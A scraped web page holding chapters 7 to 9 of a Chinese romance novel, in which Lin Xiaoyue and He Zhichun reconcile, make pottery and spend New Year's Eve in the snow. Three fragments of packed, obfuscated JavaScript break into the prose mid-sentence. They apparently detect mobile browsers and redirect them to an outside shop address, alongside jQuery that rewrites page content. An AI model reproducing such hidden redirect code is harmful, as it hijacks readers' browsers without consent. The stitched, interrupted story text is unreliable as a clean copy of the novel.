RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993338|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作是曾经的她,她大概也会这样做,她明白且理解贺知春所有的心路历程,可贺知春不懂她。 “嗯,知道,我就是难过。”林晓玥说话带着鼻音。 “成长都是要有遗憾的,有的遗憾会让这份感情更深刻。” 贺知春是个天生的悲观主义者。 “好了,不哭了,擦擦眼泪,再不走就赶不上演出了。” “嗯。” 眼泪已经不再留了,只是林晓玥还轻轻抽泣着,深呼吸一口气都会微微颤抖。 她想,她现在的样子一定和贺知春刚刚在地铁站里一样。 “认路吗?接下来我们该怎么走?我可没有来过这里啊。” 贺知春和林晓玥站在商场门口,今天的天气有些闷热,稍微走两步就冒出一身薄汗。 林晓玥打开手机比对着地图上的路线,他们已经错过了一个可以到马路对面的路口,需要再绕一段路,眼看着越走越偏,来到一处建筑工地的门口。 “你这方向感行不行呀?”贺知春知道林晓玥路痴,此时心里有些打鼓。 “我故意的,一会儿把你卖了。” “谁卖谁还不一定呢,我直接把你装垃圾桶里推走。”贺知春指着路边的一个绿色垃圾桶。 “人家桶里都满了。” “满了不会倒出来吗?” “诶,快到了!”林晓玥指着岔路尽头的一个像切开的橙子皮一样的建筑,“看到那个球了吗?就是那里。” 距离演出开始还有十五分钟,两个人加快了脚步。 坐在演出厅的座椅上,林晓玥从包里掏出了随身携带的折扇。 “他们都去前面了,咱们要过去吗?”林晓玥买的是中间最后一排的位置,此时前面的空位还有很多,后排的观众开始陆陆续续向前排走去。 贺知春接过扇子帮林晓玥扇着:“不用,这个地方挺好的。” 话音刚落,头顶的灯光熄灭,四周瞬间暗了下来,舞台上波涛汹涌中出现了一艘大船…… 林晓玥的手肘本来架在扶手上,但这样总是很吃力,她干脆抬起贺知春的胳膊,把自己的手穿过去搂着他的手臂,嗯,这样就很省力气了。 贺知春低头看了看,问道:“不热吗?” “不热。” 贺知春任由她这样抱着自己的胳膊。 这时正进入到打斗的剧情,舞台上的灯光突然耀眼了起来,贺知春下意识伸手用扇子挡在林晓玥的眼前。 林晓玥转头,发现贺知春的脸离自己很近,不禁问道:“你突然看我做什么?” “没事,还没见过你戴眼镜的样子。” 林晓玥抿嘴笑了一下:“这可比电影院大多了,不戴眼镜看不清呀。” 说完,轻轻靠在了贺知春的肩膀上,她能感觉到旁边这具身体突然紧绷的肌肉,以及压抑的呼吸。 不久后,头顶传来声音:“你不再多看我两眼吗?” 林晓玥鼻子一酸,摇摇头:“不看,我怕我忍不住难过。” “嗯,那就看表演吧。” 故事的结局真美好啊,王子和公主最终有情人终成眷属,幸福地生活在了一起。 灯光亮起的时候,最后一排的他们率先离场。 这时的贺知春不再刻意躲避林晓玥,而是紧紧牵着她的手。 夜幕中的城市有着他独有的喧嚣,路边的篮球场里满是肆意奔跑的少年。 这条路走到了尽头。 贺知春低头看着这条断头路,台阶下一米左右的地方有一块大石头,再往前是一条小路。 “你先下去,然后接着我。”林晓玥看着旁边的人都是从这里出去的。 贺知春稳稳落在了那块石头上,转身看向林晓玥。 林晓玥对他百分百信任,纵身一跃,便被贺知春牢牢抱在怀里。 她抬头向他笑了笑:“我就知道你会接住我。” 贺知春被逗笑了:“这真的是正常的路吗?谁没事会跳下来啊。” “世界上本没有路。” “走得人多了便有了路是吧?” 最后一班地铁上人很少,林晓玥牵着和贺知春的手:“跟我回家好不好?” “等我两年……” 7. 第 7 章 两年? 你在开什么玩笑,两年之后我都三十了,我用青春赌明天是吗? 林晓玥静静看着贺知春的侧脸,试图把他刻在脑海里。 地铁停在了贺知春家门口的那一站,门开了,他还在低头看手机。 不走了吗? 要跟我回家吗? 林晓玥还在猜测着其他可能,贺知春紧紧握了下她的手,捏得有些疼,然后在关门铃响起之前拔腿走了出去。 地铁上还有路人,今天没戴口罩,所以不能在外面哭,会很丢人。 林晓玥一遍又一遍在心里默念着,紧咬着下嘴唇看着他离开的那扇门。 关门的那一刻,仿佛心有灵犀一般,贺知春隔着重重人群望了过来,他们的视线穿越人海交汇着,林晓玥紧闭双眼憋回眼泪,再睁眼时地铁已经重新启动,伴随着呼啸声驶入了漆黑的隧道。 十分钟后,林晓玥出了站,这里距离她家还有十来分钟的路程,林晓玥走到半路的时候,豆大的雨点毫无预兆地砸在了地上,一滴、两滴、三滴…… 顷刻间下起了倾盆大雨。 起初林晓玥还尝试着和时间赛跑,不想沾到身上雨水,可在雨骤然变大之后,她反而放慢了脚步。 反正已经淋透了,反正也已经无济于事了,无论是挽留不住的人,还是躲不过的雨。 她放下顶在头顶的包,逆风而行,任由雨水砸在脸上,顺着她的眼睛鼻子下巴淌下一条条蜿蜒的水流。 雨下得太急,有些睁不开眼,她伸手抹了一把眼睛,抹去了不知道是雨水还是泪水。 一道闪电划过,林晓玥看着街边商铺的玻璃里倒映出的自己的影子,头发乱糟糟黏在脸的两边,衣服全部贴在身上,她想,真狼狈啊。 路边的积水汇集得很快,已经没过了脚背,林晓玥穿着白色的运动鞋,几步过后鞋垫便吸满了水,走起路来发出咯吱咯吱的声音,虽然雨声很大,但林晓玥能感受到,脚下的声音。 走进电梯里的时候,林晓玥按下了楼层,看着电梯门缓缓关上,将一串湿漉漉的脚印隔绝在外…… 电梯里安静得只能听到两个人的呼吸声,林晓玥抬头看着显示屏上的数字不断跳动,这是她的习惯,防止电梯突然发生故障她来不及反应,此时也是一种避免尴尬的方式。 她叹了口气:“你不用送我上楼,这么大的雨,不早点回家吗?” 贺知春站在她身后,所以她看不到他讳莫如深的表情。 “我送你进屋就走,不然不放心,毕竟女孩子自己一个人在外面住……” “谁告诉你我一个人住的?”林晓玥下意识就想反驳。 贺知春看着电梯门里林晓玥的倒影,她又在皱着眉:“你单身又不合群,当然是自己住。” 林晓玥顿时有一种被看透的窘迫,咬牙切齿道:“小贺医生还真是了解我呢。” 贺知春在她身后看不到的角落里扬起唇角,就当是一种宽慰。 叮—— 电梯门开了。 林晓玥一出电梯就快步走到自己家门前掏出早就捏在手里的钥匙,一气呵成地开锁关门。 啪! 大门被一双有力的大手握住,贺知春跻身进屋。 林晓玥几次较劲见甩不掉他,干脆坐视不理,自顾自换鞋进屋,权当他是空气。 贺知春站在门口玄关处,观察着房间里的陈设。 这是一间一室一厅的公寓,不知道是买的还是租的。 “租的,离公司近,我可买不起。”言下之意是,我没钱,别黏我。 林晓玥窝在单人沙发里,手里捧着一瓶酸奶。 她脚下是白色的长绒地毯,旁边的柜子上有一排精致的小手工制品,其他的摆设很少,都是一些必需品,有一种拎包入住,拔营就走的潇洒。 “冰箱里有饮料,喝完就走吧,毕竟孤男寡女的,我也不好留你。” “我们就不能好好谈谈吗?” 贺知春也拿了一瓶贺林晓玥手中一样的酸奶,和她面对面坐在地毯上。 “我知道错了,你别总是用这种带刺的语气和我说话。” 林晓玥终于肯正眼瞧他一眼:“你之前说做朋友,我不是没努力过,但我后来发现我没办法心平气和地和你做朋友,那就只能做陌生人了。谢谢你今天好心顺路送我回来,我就不送你了,你自己开门右转。” 林晓玥伸出手,做了个请的姿势。 贺知春曲着腿,胳膊搭在膝盖上,右手去勾林晓玥的小拇指,就像之前一样。 林晓玥在触到他的一瞬间条件反射般缩手躲开了。 贺知春眼底黯淡了些许:“再给我一次机会弥补你,好不好?我们之前不是相处得挺好吗?” 林晓玥侧过身不去看他,把脸埋在柔软的沙发里,声音闷闷的:“你也说了是以前了,重新开始不过是重蹈覆辙,我是很理智地在劝你,因为我也明白我这个人是个什么德行,被你放弃过,不是原谅你这一次,而是在今后我每想起这件事的时候,都要原谅你一次。我会在之后在一起的每一天都做好你会随时离开的准备,甚至会亲手促成这件事以求彻底的心安,所以……” 林晓玥站起身将贺知春从地上拽起来,“你走吧,真要和好了,我会觉得我对不起我自己,我那些睡不着觉的每个夜晚,流的眼泪,靠自己一步步费力走出来所做的努力,都会被你一句和好如初变成一个笑话。” 贺知春站在门口,低头看着这个倔强的小姑娘强忍着眼泪噘着嘴把自己往门外推,然而瘦弱的她所做的一切都是徒劳。 心脏处有微微的酸痛在蔓延,他最见不得她难过,而让她最难过的罪魁祸首竟然是自己。 “那你能……给我讲讲你这两年都是怎么过的吗?我想知道你过得好不好。”贺知春的语气中带了些恳求的意味。 “我说了我很好,已经习惯了没有你的生活,能够自己按时吃饭按时睡觉下雨天还会往家跑。所有需要你的时候你都不在身边,那你也没有必要现在再来打扰我,打乱我好不容易恢复平静的生活。”林晓玥的语速越来越快,她在着急的时候就会这样说话。 “这两年你不要问,也没权利知道,错过了就是错过了你永远会缺席我这段人生,这是你选的,不是吗?” “是……” 对不起。 我错了。 林晓玥终于把他推到了门外,正要关门,肩上突然传来重量,贺知春的身体压在自己身上,林晓玥手忙脚乱地接住他。 贺知春双眼紧闭,嘴唇惨白,额头还冒着虚汗。 林晓玥拖着他的胳膊又返回屋子里,把他放到地毯上,她那小沙发可盛不下大男人。 她伸手拍了拍贺知春的脸:“你怎么了?别碰瓷儿啊!到时候死在这里,房东找我强买强卖,我可买不起啊!” 贺知春嘴唇颤抖,用气音吐出几个字:“没事……胃疼……” 林晓玥低头看去,果然,他不知何时已经把身前的衬衣攥成了皱巴巴的一团。 “我真服了!” 林晓玥起身在一旁的柜子里摸了半天,没有找到胃药,这暴雨天又不好下单叫骑手送。 她生气地质问贺知春:“这么大人了,知道自己什么毛病,出门不随身带药的吗?” “吃完了……还没来得及买。” 贺知春抬眼看去,看向林晓玥的眼神多了几分愧疚,又惹她不开心了。 “没事,就是饿的,习惯了。” 林晓玥把沙发上的盖毯扔在他身上:“躺着,一会儿吃完饭赶紧走!” 林晓玥顶着一头火气打开冰箱,拿了一个西红柿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993339|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和两个鸡蛋。 心中默念:救人一命胜造七级浮屠,我只是心怀苍生,乐于助人,至于这个人是谁,和我没有半毛钱关系。 “面汤还是疙瘩汤?” 林晓玥问话的语气像吃了枪药,也没指望贺知春回答,因为她发现家里的挂面吃完了。 她拿出空碗往里面舀了一勺面粉,把水龙头的水流调成水滴状,用筷子快速搅动起来。 之前和贺知春刚认识的时候,他有一次同学聚会喝多了,在电话里说他喜欢喝多酒之后喝上一碗热乎乎的疙瘩汤,非常舒服。 还有一次,他说自己从小不挑食,爸妈不在家的时候天天吃方便面。那时候林晓玥满眼心疼,想着以后一定要跟他一起吃很多好吃的,不能让孩子这么委屈自己了。 碗里的面粉已经全被搅成了珍珠大小的疙瘩,林晓玥放下碗,点火烧油,把切好的西红柿倒进去。 唰——冒起一阵白烟。 “嘶……” 一滴油溅到手上,白皙的皮肤瞬间红了一片,林晓玥顾不上锅,转身到水池边冲水。 “怎么了?烫手了?” 贺知春闻声从地上爬起来,来到厨房。 又要留疤了,林晓玥望着自己的手背内心哀叹。 “没事,你躺着去吧!”林晓玥不喜欢自己做饭的时候有人打扰。 贺知春没有离开,靠在门口看着林晓玥用熟练的手法打鸡蛋,往锅里倒水,下疙瘩,打蛋花。 香味儿溢出来,贺知春的肚子发出了惊天动地的声响,场面一度十分尴尬,他是真饿了。 出锅前最后一步,林晓玥洒上葱花,点上两滴香油,盛了一汤碗的疙瘩汤。 贺知春上前接过烫手的碗端着往茶几走,林晓玥只好拿着汤勺跟在后面。 “有点烫,晾一会儿吧。”有胃病的人不能吃太烫的。 “你在关心我。”贺知春用的是陈述的语气。 “爱吃吃不吃滚!”林晓玥有些不耐烦,面对贺知春的时候内心总是莫名得烦躁,明明在自己的内心里已经查无此人了。 “吃,我吃。”贺知春用汤勺舀了一勺疙瘩,轻轻吹凉一些,软糯咸香,是自己喜欢的口味。 他把碗放下。 “饱了?”林晓玥诧异地看着他,“还是不好吃?” 不可能啊,祖传的手艺。 “好吃,有点烫,烫得我眼泪都出来了,你看。” “我不看。” 林晓玥挥手拒绝靠近自己的贺知春,手腕却被一把捉住。 “还疼吗?”刚刚被烫到的地方已经起了水泡,贺知春小心翼翼吹着,仿佛这样就能把疼痛都吹走一样。 林晓玥把手抽出来,随便甩了甩,站起身来回溜达着:“这点小伤,不在话下,你吃吧,那个……一会儿走的时候帮我把门带上,我有点困了,想回屋睡一会儿。” “你就这么放心我?” “嗯,放心啊,反正你也不喜欢我,人与人之间这点信任还是有的。” “我什么时候说过我不喜欢你……” “好了,我没有义务帮你回忆过去,再提我真的会发火的,趁我现在脾气好,不要惹我。” 林晓玥恢复了之前冷冰冰的态度,伸手警告贺知春不要再说下去,然后砰的一声关上了卧室门。 贺知春站在门外苦笑一声,都怪自己,把她变回了炸毛的刺猬、把头埋在沙里的鸵鸟、缩回壳里的小乌龟。 贺知春默默喝完汤,去厨房刷完了碗,放到橱柜里的时候看到了一个眼熟的物件。 这是一个陶土烧制的水杯,上面画着碎花图案,杯子摔裂成了几个部分,又被重新粘了起来,杯口的地方有一处豁痕,似乎是碎片太小没有找到,已经不能用来喝水了。 原来……她还留着这个吗? 8. 第 8 章 “今天我们做点什么?”林晓玥双手环着贺知春的脖颈笑眯眯问道。 真的很喜欢和喜欢的人一起去尝试很多新事物。 贺知春搂着她的腰,低头在她嘴唇上轻轻啄了一下,意犹未尽:“你说吧,今天想做什么我都陪你。” 林晓玥拿起手机翻找着:“要不然我们去做陶艺?我小时候一直想玩那个,但就是没有机会。” “好,那我们就去。”贺知春宠溺地勾了下林晓玥的鼻尖。 林晓玥找了一家评价还不错的店,正值假期,里面生意还挺红火,大多数是带孩子来玩儿的,小情侣也不少。 “好多人啊。” 林晓玥环视了一周,拉着贺知春往里走。 “快来,这里刚好有一个座位。” “小心!” 对面有人正好提着一桶水路过,晃晃悠悠差点撞倒林晓玥,贺知春眼疾手快,被牵住的那只手直接用力一拽,把她牢牢圈在怀里,林晓玥一时没有反应过来这变化。 贺知春低头在她耳边轻声道:“下次走路看着点人,行不?” “嗯。”林晓玥点点头,挣开他的怀抱,要将他按在一把小椅子上,“你别离我这么近说话,耳朵怪痒痒的。” 贺知春轻笑一声,故意弯腰又向她另一侧耳朵吹了口气,然后在挨打前快速坐好。 “我们做两个好不好?”林晓玥分配好各自的工具。 “嗯,好,一杯子,一辈子。”贺知春戳穿了她的小心思。 “什么一辈子?我可没想那么多,就是一人一个喝水的杯子好吧?” 林晓玥梗着脖子解释道。 “哦~那你不想和我一辈子呀?” 贺知春并没有停止继续逗弄她的举动。 “哎呀你好烦!” 林晓玥不再理他,从工具箱里捞出一块陶泥拍在桌子上。 贺知春看着她从耳朵尖红到脖子根的样子甚是满意,小姑娘总是那么容易脸红。 “你别光看着我,也自己动手做呀!” 林晓玥手中的杯子已经初具雏形,抬头发现贺知春还在将手里的陶泥捏来捏去不成样子。 “我不太会呀,这第一步,拉胚,就好难。”贺知春随便把手中的陶泥团成一个团。 “哎呀笨蛋,我教你!” 林晓玥起身绕到贺知春身后,将他手中的泥胚放在转盘中央。 “一会儿踩那个开关。” 她嘱咐完之后双手放到了泥胚两侧,贺知春听话地启动了机器,泥胚随着转盘开始转动,在林晓玥手中渐渐有了形状。 “看到了吗?就是这样……” 林晓玥的头绳有些松动,随着手上的动作滑下来,挽着的头发散落在耳边,还有几缕落在贺知春的颈窝里,散发着洗发水的花香味儿。 贺知春伸出手,覆在了林晓玥的双手上,陶泥随着转动越升越高逐渐塑形,而他们慢慢十指交缠,空气升温,跳动着暧昧的信号。 “不认真听讲昂。”林晓玥把揉烂的陶泥重新和在一起,眼前的景象有点熟悉。 “你有没有看过一部很古早的电影。” “嗯?”贺知春伸手捣乱,把她刚刚整理好的陶泥重新弄乱。 “叫《人鬼情未了》,里面男女主也是这样做陶艺的。” “是吗?没看过,可能我比你要年轻一些吧。” 林晓玥注意到贺知春上扬的唇角,得知自己又被耍了。 “好啊,合着又跟我在这演呢?我就说以你的智商怎么可能干坐在这里玩泥巴!你自己做吧,不教了。” 林晓玥气鼓鼓地回到自己的座位上。 “要不这样吧?我们互相给对方做杯子,这样更有意义一点。”贺知春的提议也是林晓玥刚好想到的。 林晓玥点点头:“我没问题,你把我的杯子做好看一点。” “放心吧!” 一小时后,两个杯子放在了烤箱前的队伍里。 林晓玥做的杯子形制较为简单,她纠结再三,没有加很多装饰物,素白的胚底上画着几棵翠竹,只在杯底看不到的地方画了一枚小小的月亮。 而贺知春则是在看到她杯子的大致样式后,才决定和她一样,只不过他画的图案是各种各样的花朵,花团锦簇,又有适当的留白。 “还可以嘛,看不出来小贺同学也会画画。” “切,我会的东西可多了,你还真是捡到宝了。” “好自恋啊!” “这怎么能叫自恋,你不恋吗?” 林晓玥顿时无语。 “嗯?恋不恋?” 贺知春一边帮她擦手,一边穷追不舍地追问。 林晓玥避无可避,连连点头:“恋恋恋。” “敷衍!” 贺知春佯装生气的样子。 林晓玥抬头看了看四周,所有人都在专注于自己手中的事情,于是踮起脚尖快速亲了贺知春的脸颊一口,然后转身跑出了陶艺馆。 贺知春从后面追上来:“干完坏事就跑是不是?” “嗯?你能拿我怎么样?” 林晓玥昂着头,嘴里吐出白色的哈气,神气得像一只骄傲的小孔雀。 贺知春伸手揉乱她的头顶:“接下来去哪?” “嗯…博物馆吧,正好离这里不远。听说刚开了一个新的展览,叫什么珍惜动物展。” 两人手拉手来到展馆门口的时候,贺知春伸手指着门口的展板:“人家明明叫濒危动物展。” “哎呀,都差不多嘛!快快快,进去看看!” 展区分为几个部分,进去之后先看到的是图文展板,几个世时代的更迭,地球上的主人换了一波又一波,对比之下人类显得如此渺小。 前面是真实的标本区,林晓玥指着一只通体红色的禽类激动说道:“这个是红腹锦鸡!” 贺知春顺着序号在旁边的标识牌上找下去,果然是红腹锦鸡。 “厉害!” “之前在网上刷到的,说有一个大爷捡到两只红腹锦鸡,以为是凤凰,于是打回家养出了一窝,专家都震惊了。” “大爷这么厉害呢?” “是呗。” “嗯,我也很好养活。” “知道啦知道啦!” 展厅出口连接着大厅,今天搭了台子,好像有什么活动。 贺知春一路护着林晓玥挤进人群里。 “灯谜、投壶还有一站到底!” 林晓玥踮脚看了半天,终于搞清了游戏内容。 “想玩哪个?” “都想玩。” “那从灯谜开始?” “嗯嗯嗯” 林晓玥上前摘下一个低处的红色卡片,她能够到的只有这一个了。 “八九不离十?是个字谜。” 她把卡片递给贺知春:“我已经知道这是什么了。” 贺知春只瞥了一眼谜面:“巧了,我也知道了。” 林晓玥指着前方的一张蓝色卡片:“那个谜面好长,摘下来看看!” 贺知春长臂一勾,将暗格卡片摘了下来:【长脚小儿郎,吹箫入洞房,爱吃红花酒,拍手命丧亡。—打一昆虫】 “这个也简单,最多只能拿三张,我们再挑一个能猜出来的。” “你选,我摘。” “就那个吧!黄色的。” 贺知春顺着林晓玥手指的方向解下一张黄色的卡片。 “日落香残,洗却凡心一点。打一字,这个可以吗?” “行,非常符合你现在的状态。” “少瞎说,小爷头发茂密。” “哈哈哈咱们是现在去换奖品,还是等一下一起?” “一起吧,先玩别的。投壶?” 投壶的地方排着长队,林晓玥拽了拽贺知春的袖子:“人有点多。” “没关系,你想玩咱们就等一会儿。” 贺知春牵着林晓玥往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16993340|193833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 队尾走去,中途被一个带孩子的阿姨叫住了:“来,你们排我这里吧,我带孩子去吃饭。” “谢谢阿姨!” 两人相视一笑。 “今天好幸运哦!” “是啊,因为你是小福星啊!” 贺知春把手中的三支箭递给林晓玥。 林晓玥站在红线外闭上一只眼瞄准,扔!没中。 “不能浪费机会,还是你来!” 林晓玥把剩下的两支箭还给了贺知春。 贯耳。 依杆。 贺知春很快取得了成绩,拿到了主持人给的兑奖券。 之后来到一站到底的答题台上。 林晓玥有一点点紧张,不只是因为好多人都在围观,还因为对面站着的是贺知春,虽然说他们之间总能分出胜负,奖品势在必得,但她觉得这是一场关乎未来家庭地位的一场战争。 “准备好了吗?请听题,第一题,汉武帝时期的丞相是谁……" 三分钟后,胜负已分,林晓玥惜败。 “唉,勉强让你一局吧!” “嘿,你倒还挺谦虚。” 他们来到兑奖处。 “你好,我们这三张券都可以兑什么?” 工作人员很热情地介绍道:“冰箱贴、钥匙扣还有笔记本。” 林晓玥的视线停留在桌上一个打开的长方形盒子上:“这个簪子呢?需要什么条件?” 工作人员笑道:“如果你用三张券的话,可以给你这个文创发簪。” 林晓玥有些纠结,这样的话,贺知春就什么也拿不到了。 “那麻烦你帮我们拿这个吧!” 林晓玥诧异转头,贺知春用拇指搓了搓她的脸颊:“我今天的主要任务就是陪你,你开心我就会更开心。” 林晓玥感动得无以复加,今天是跨年夜,小贺同学终于可以暂停之前忙了三个月的实验陪她一天。 “开心,非常开心。” 贺知春接过那把乌木发簪,工作人员说盒子不是赠品。 他双手扳过林晓玥的肩膀让她背对自己,然后解下了她的发圈,黑色的长发滑落下来。 贺知春右手握着发簪,闭眼短暂回忆了一下自己曾经刷到过的盘发视频,然后左手将长发挽了个圈,把发簪三下两下绕进去,再从另一端穿出来。 “好了!” 林晓玥借助手机屏幕的反光看到脑后若隐若现的坠子。 “好看!你连这个都会?” 贺知春得意道:“那是自然,有我不会的吗?” “对,你可厉害了!” 林晓玥拉着贺知春的手往外走,博物馆的出口外有一处地方围满了人,水泄不通。 “那边在干什么?” “好像是卖刮刮乐的。” 林晓玥突然看向贺知春道:“你有没有听说过,如果一对情侣一起买彩票能中奖的话,就说明他们两个之间的气场相合,会旺对方。” “你又要干嘛?想试试?” “要不然我们把午饭交给命运?一个人刮五十块钱彩票,中多少钱就吃多少钱的饭。” “那要是没中呢?” “那就只好喝西北风了呗。哎呀我相信我们的缘分,要有自信!” 林晓玥仗着身高优势拉着贺之春钻进了人群里。 “只有这一款了,你要哪个?” “蓝色那张吧。” “自古红蓝出CP,那我要红色的。” 两人各自掏出手机扫码付款,片刻后,林晓玥哭丧着一张脸:“完了,我们要喝西北风了。” 贺知春笑着把自己的彩票递到她手里:“哥怎么会让你喝西北风呢?跟哥混,有肉吃!” “五十,一百,一百五……”林晓玥将贺知春的中奖金额加了一遍,激动地跳了起来:“三百!我就说我旺你吧!” 林晓玥双手抱着贺知春的手臂叽叽喳喳:“我们去吃大餐喽!” 9. 第 9 章 大概是从去年开始,在这个省会城市的市中心跨年成了一种时尚,四通八达的十字路口挤满了人群对着标志性建筑的灯光墙打卡拍照。 林晓玥他们吃完饭出来时,门口的道路已经被围得水泄不通。 “好、多、人、啊!” 林晓玥第一次在露天的场景下产生了缺氧的感觉,她转头看向贺知春嘿嘿直乐:“我感觉我要被挤扁了!” “我们得快点离开这里,人越来越多了,可是交通管制已经不通车了。” 贺知春轻轻捏了捏林晓玥的手心:“你从小在这片儿混的,你肯定知道怎么走。” 林晓玥得意一笑:“被你猜中了。” 她拉着和贺知春的手在人群中穿梭,花了十分钟的时间艰难来到二百米外的地铁口。 电梯已经停了,顺着步行梯走到最下面,可以看到有几个警察在维持着秩序:“只能下不能上了啊,人太多了,注意安全……” 二人从地下来到另一处地铁口,没想到被那边的工作人员拦住了:“这边不能上只能下。” 贺知春揶揄道:“完喽,地铁挤不上去,地面也回不去喽!” “哎呀别急。” 还有一处出口在不远处,林晓玥带着贺知春经过地下的一条商业街,来到一处电梯口,这里的人和刚刚的街口相比,不知道少了多少。 两个人顺利回到了地面上。 上来是公园的另一个入口,就是他们第一次正式约会的那个公园,公园的入口处拉着黄色的警戒线,两边同样有人看守着:“进去后可不能再出来了。” 林晓玥抬起线就钻了进去。 距离入口不远处有几个人在摆摊卖着气球,零点放气球仿佛也和打卡墙一起成为了跨年的某种仪式。 从他们刚刚吃完饭出来的那条街上可以看到,一整条街每隔三步就能遇到一个气球贩子,只不过人多的地方价格有些虚高。 “气球怎么卖?”贺知春上前问道。 “十块钱一个。” “有点贵,我们刚刚从那边过来的时候五块钱一个,太远了不想返回去了。” 贺知春伸手一指,指向了更远处人更少的方向。 “行吧,那五块钱给你一个,挑个喜欢的颜色吧。” 贺知春看向林晓玥,林晓玥选中了一个金属粉的气球,上面光可鉴人,映照着他们的影子,林晓玥拿出手机拍下了他们在气球上的倒影。 “可以在上面写字。”那商贩递给林晓玥一支记号笔,“放飞气球的时候可以许愿。” 林晓玥接过笔,在气球上写下五个字:所得皆所愿。 “开心吗?别人有的你也得有。” “嗯!” “来,我给你系上。” 林晓玥转过身,让贺知春把气球绑在双肩包的带子上。 “这样就不容易走丢了。” 林晓玥走在前面,身后的气球斜斜飘着,随着她走路的动作一顿一顿地向前,突然她停下了脚步。 “怎么了?” 临下曰的身后是暖黄色的路灯,她逆着光站在前面,头发丝都变得耀眼,眼睛在黑夜里亮晶晶的。 “贺知春,你看,下雪了。” 灯光下飞舞着一粒粒的雪花,不一会儿就变成了一大片一大片,好像鹅毛一样,纷纷扬扬,地面上很快就铺满了白白的一层,踩上去咯吱咯吱的。 他们走到了公园后面宽阔的广场上,林晓玥蹲在地上,双手捧起一把松软的雪,团成雪球砸在贺知春的身上。 砰! 雪球在黑色呢子大衣上绽开一朵白色的花。 “不冻手啊?” 贺知春两步跨到林晓燕面前,林晓玥只感到面前投下一片阴影,然后一双大手捂住了自己的脸颊。 “啊!……啊?热的?” 没有等到想象中冰凉的触感,贺知春的手即使在零下的天气里也是热热的。 “小贺同学,我们一起堆雪人吧!” 此时地上的积雪已经厚得可以没过脚背,林晓玥的语气听起来就像海绵宝宝在喊派大星去捉水母一样。 “我来吧,你边儿上指挥。” 贺知春拽起地上的林晓玥,把她赶到一边,女孩子还是要少碰凉的。 他挽起袖子,露出修长的骨节,很快团出了一个小雪球,然后把它放在地上滚来滚去,就像滚元宵一样越滚越大,雪人的身子就这样做好了。 贺知春又用同样的方法做出了小几号的圆球,用来充当雪人的头。 “你有没有听说过一个恐怖故事?” “什么?” “有个人把别人的头砍下来,藏到了雪人里,直到开春化成一滩血水才被发现……” 贺知春的声音低沉,娓娓道来,还要继续讲下去,被林晓玥一把捂住了嘴巴。 “你你你闭嘴,我不听,不听不听,王八念经。我!听!不!见!” 林晓玥大声给自己洗脑。 贺知春笑得一颤一颤的,湿润灼热的哈气喷在林晓玥的手心,痒痒的,她松开了手。 “只用手可不能让我闭嘴哦。你看这个雪人,像不像……唔……” 就知道他没憋什么好心思,林晓玥一把拽过贺知春的衣襟,搁置雪人吻到了他的嘴唇。 贺知春露出满意的微笑,在林晓玥的气息离开后还意犹未尽地舔了舔嘴唇。 “嗯,甜的。” “一点也不害羞!” 林晓玥小声嘟囔,“对了,差点忘了,我给你准备了新年礼物!” 贺知春伸手掸去她身上的雪,拉她到一处屋檐下躲雪。 “嗯?又给我准备了什么好东西?” 难怪今天看她背的包鼓鼓囊囊的。 林晓玥拉开背包的拉链,从里面掏出了一条毛茸茸的、藏青色的围巾。 “好看吗?你还别说,好像和你今天的外套颜色挺搭的。” 贺知春低头看看林晓玥,又看看她手中的围巾,目光晦暗。 见他迟迟未接,林晓玥有些动摇:“怎么了?不喜欢吗?” 贺知春赶忙把那围巾搭在自己的脖子上:“没,很喜欢,你亲自织的?” “那不然呢?” 林晓玥对自己的手艺很是自信,区区给男朋友织一条围巾,那还不是手到擒来的事情。 “你叹什么气?” 贺知春望着林晓玥的眼睛:“我和前女友在一起六年,她送我的礼物屈指可数,今天不该和你说这些的,可我忍不住……” 林晓玥撇了撇嘴,伸手抚摸着他的脸颊,尽管自己不是很乐意听到这个话题,但她知道贺知春现在的心情应该很复杂。 “再提我可真生气喽,你现在可是我的!我会给你很多很多好东西,因为你值得!” “嗯。” 贺知春把已经焐热的围巾挂在了林晓玥的脖子上,绕了一圈后顺手打了个结。 “诶你怎么又还给我了?” “借你戴一会儿,露个脖子小心颈椎病复发!” “哦……” 林晓玥依偎在贺知春怀里,看着不远处玩雪的另一对学生样貌的小情侣,他们也在堆雪人,还有一堆父母带了两个孩子在雪里撒欢,一人拿着一把夹子,在花池边加工出一排小鸭子。 “真美好啊!” “是啊……” “玥玥。” “嗯?” “我也想要。” “什么?小鸭子吗?那我去看看能不能借到一把夹子来……” “不是,我是说……” 贺知春低头在林晓玥的耳边悄悄说了一句话,林晓玥本就冻红的脸彻底红透了,气恼地拍了一下贺知春的肩膀。 然后像蚊子哼哼一样小声说道:“等结婚之后给你生……” “你说什么?我没听到。” 贺知春是真没听清,但他能猜出个大概。 “哎呀听不见就算啦!” 林晓玥躲避着贺知春伸来的“魔爪”,转身间看到了广场上钟楼指针已经接近十二点,此时隔着一条街也可以听到人群中传来的倒计时。 雪也停了,仿佛整个世界都在等待这一刻。 